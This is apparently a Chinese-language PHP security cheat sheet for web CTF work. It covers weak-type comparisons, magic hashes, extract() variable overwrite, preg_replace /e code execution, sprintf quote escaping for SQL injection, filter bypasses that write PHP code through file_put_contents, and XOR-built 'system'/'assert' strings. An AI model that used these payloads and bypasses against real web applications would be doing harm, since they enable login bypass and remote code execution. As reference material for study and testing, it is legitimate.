PHP Tag

  • <? ?>
    • short_open_tag 決定是否可使用短標記
    • 或是編譯php時 --enable-short-tags
  • <?=
    • 等價 <? echo
    • PHP 5.4.0起,always work!
  • <% %><%=
    • PHP 7.0.0起,被移除
    • 須將asp_tags設成On
  • <script language="php"
    • PHP 7.0.0起,被移除
    • <script language="php">system("id"); </script>

PHP Weak Type

  • var_dump('0xABCdef' == ' 0xABCdef');

    • true (Output for hhvm-3.18.5 - 3.22.0, 7.0.0 - 7.2.0rc4: false)
  • var_dump('0010e2' == '1e3’);

    • true
  • strcmp([],[])

    • 0
  • sha1([])

    • NULL
  • '123' == 123

  • 'abc' == 0

  • '123a' == 123

  • '0x01' == 1

    • PHP 7.0後,16進位字串不再當成數字
    • e.g var_dump('0x01' == 1) => false
  • '' == 0 == false == NULL

  • md5([1,2,3]) == md5([4,5,6]) == NULL

    • 可用在登入繞過 (用戶不存在,則password為NULL)
  • var_dump(md5(240610708));

    • 0e462097431906509019562988736854
  • var_dump(sha1(10932435112));

    • 0e07766915004133176347055865026311692244
  • $a="123"; $b="456"

    • $a + $b == "579";
    • $a . $b == "123456"
  • $a = 0; $b = 'x';

    • $a == false => true
    • $a == $b => true
    • $b == true => true
  • $a = 'a'

    • ++$a => 'b'
    • $a+1 => 1

PHP 其他特性

Overflow

  • 32位元
    • intval('1000000000000') => 2147483647
  • 64位元
    • intval('100000000000000000000') => 9223372036854775807

浮點數精度

  • php -r "var_dump(1.000000000000001 == 1);"

    • false
  • php -r "var_dump(1.0000000000000001 == 1);"

    • true
  • $a = 0.1 * 0.1; var_dump($a == 0.01);

    • false

ereg會被NULL截斷

  • var_dump(ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));
    • 1
  • eregeregi在PHP 7.0.0.已經被移除

intval

  • 四捨五入
    • var_dump(intval('5278.8787'));
      • 5278
  • intval(012) => 10
  • intval("012") => 12

extract變數覆蓋

  • extract($_GET);
    • .php?_SESSION[name]=admin
    • echo $_SESSION['name'] => 'admin'

trim

  • 會把字串前後的空白(或其他字元)去掉
  • 未指定第二參數,預設會去掉以下字元
    • " " (0x20)
    • "\t" (0x09)
    • "\n" (0x0A)
    • "\x0B" (0x0B)
    • "\r" (0x0D)
    • "\0" (0x00)
  • 可以發現預設不包含"\f" (0x0C)
    • 比較:is_numeric()允許\f在開頭
  • 如果參數是unset或空的變數,回傳值是空字串

is_numeric

  • is_numeric(" \t\r\n 123") => true

  • is_numeric(' 87') => true

  • is_numeric('87 ') => false

  • is_numeric(' 87 ') => false

  • is_numeric('0xdeadbeef')

    • PHP >= 7.0.0 => false
    • PHP < 7.0.0 => true
    • 可以拿來繞過注入
  • 以下亦為合法(返回True)字串:

    • ' -.0'
    • '0.'
    • ' +2.1e5'
    • ' -1.5E+25'
    • '1.e5'

in_array

  • in_array('5 or 1=1', array(1, 2, 3, 4, 5))
    • true
  • in_array('kaibro', array(0, 1, 2))
    • true

array_search

  • mixed array_search(mixed $needle , array $haystack [, bool $strict = false ])
    • haystack陣列中,搜尋needle的值,成功則返回index,失敗返回False
  • $strict為false時,採用不嚴格比較
    • 預設是False
  • Example
    • $arr=array(1,2,0); var_dump(array_search('kai', $arr))
      • int(2)
    • $arr=array(1,2,0); var_dump(array_search('1', $arr))
      • int(0)

parse_str

  • parse_str(string, array)
  • 會把查詢字串解析到變數中
  • 如果未設置第二個參數,會解析到同名變數中
    • PHP7.2中不設置第二個參數會產生E_DEPRECATED警告
  • parse_str('gg[kaibro]=5566');
array(1) {
  ["kaibro"]=>
    string(4) "5566"
}

parse_url

  • 在處理傳入的URL會有問題

  • parse_url('/a.php?id=1')

    array(2) {
      ["host"]=>
        string(5) "a.php"
      ["query"]=>
        string(4) "id=1"
    }
    
  • parse_url('///a.php?id=1')

    • false
  • parse_url('/a.php?id=1:80')

    • PHP < 7.0.0
      • false
    • PHP >= 7.0.0
        array(2) { 
            ["path"]=> string(6) "/a.php" 
            ["query"]=> string(7) "id=1:80" 
        }
      
  • parse_url('http://kaibro.tw:87878')

    • 5.3.X版本以下
      array(3) { 
          ["scheme"]=> string(4) "http" 
          ["host"]=> string(9) "kaibro.tw" 
          ["port"]=> int(22342) 
      }
    • 其他: false

preg_replace

  • mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
    • 搜尋$subject中匹配的$pattern,並用$replacement替換
  • 第一個參數用/e修飾符,$replacement會被當成PHP code執行
    • 必須有匹配到才會執行
    • PHP 5.5.0起,會產生E_DEPRECATED錯誤
    • PHP 7.0.0不再支援,用preg_replace_callback()代替

example:

<?php
$a='phpkaibro';
echo preg_replace('/(.*)kaibro/e','\\1info()',$a);

sprintf / vprintf

  • 對格式化字串的類型沒檢查
  • 格式化字串中%後面的字元(除了%之外)會被當成字串類型吃掉
    • 例如%\%'%1$\'
    • 在某些SQLi過濾狀況下,%' and 1=1#中的單引號會被轉義成\'%\又會被吃掉,'成功逃逸
    • 原理:sprintf實作是用switch...case...
      • 碰到未知類型,default不處理

file_put_contents

  • 第二個參數如果是陣列,PHP會把它串接成字串
  • example:
    <?php
    $test = $_GET['txt'];
    if(preg_match('[<>?]', $test)) die('bye');
    file_put_contents('output', $test);
    • 可以直接?txt[]=<?php phpinfo(); ?>寫入

spl_autoload_register

  • spl_autoload_register()可以自動載入Class
  • 不指定參數,會自動載入.inc.php
  • Example:
    • 如果目錄下有kaibro.inc,且內容為class Kaibro{...}
    • spl_autoload_register()會把這個Class載入進來

路徑正規化

  • a.php/.
    • file_put_contents("a.php/.", "<?php phpinfo() ?>");
      • 可成功寫入
        • 經測試Windows可以覆寫、Linux無法
      • 可以繞過一些正規表達式判斷
    • file_get_contents("a.php/.");
      • 經測試Windows下可成功讀、Linux無法
    • 還有很多其他function也適用
  • " => .
    • a"php
  • > => ?
    • a.p>p
    • a.>>>
  • < => *
    • a.<

URL query decode

  • $_GET會對傳入的參數做URLdecode再返回
  • $_SERVER['REQUEST_URI']$_SERVER['QUERY_STRING']則是直接返回

Example:

Request: http://kaibro.tw/test.php?url=%67%67

  • $_GET: [url] => gg

  • $_SERVER['REQUEST_URI']: /test.php?url=%67%67

  • $_SERVER['QUERY_STRING']: url=%67%67

其他

  • 大小寫不敏感

    • <?PhP sYstEm(ls);
  • echo (true ? 'a' : false ? 'b' : 'c');

    • b
  • echo `whoami`;

    • kaibro
  • 正規表達式.不匹配換行字元%0a

  • 運算優先權問題

    • $a = true && false;
      • $a => false
    • $a = true and false;
      • $a => true
  • chr()

    • 大於256會mod 256
    • 小於0會加上256的倍數,直到>0
    • Example:
      • chr(259) === chr(3)
      • chr(-87) === chr(169)
  • 遞增

    • $a="9D9"; var_dump(++$a);
      • string(3) "9E0"
    • $a="9E0"; var_dump(++$a);
      • float(10)
  • 算數運算繞Filter

    • %f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f
      • system
      • 可用在限制不能出現英數字時 or 過濾某些特殊符號
    • $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
      • assert
    • 其他
      • ~, ++等運算,也都可用類似概念構造
  • 花括號

    • 陣列、字串元素存取可用花括號
    • $array{index}$array[index]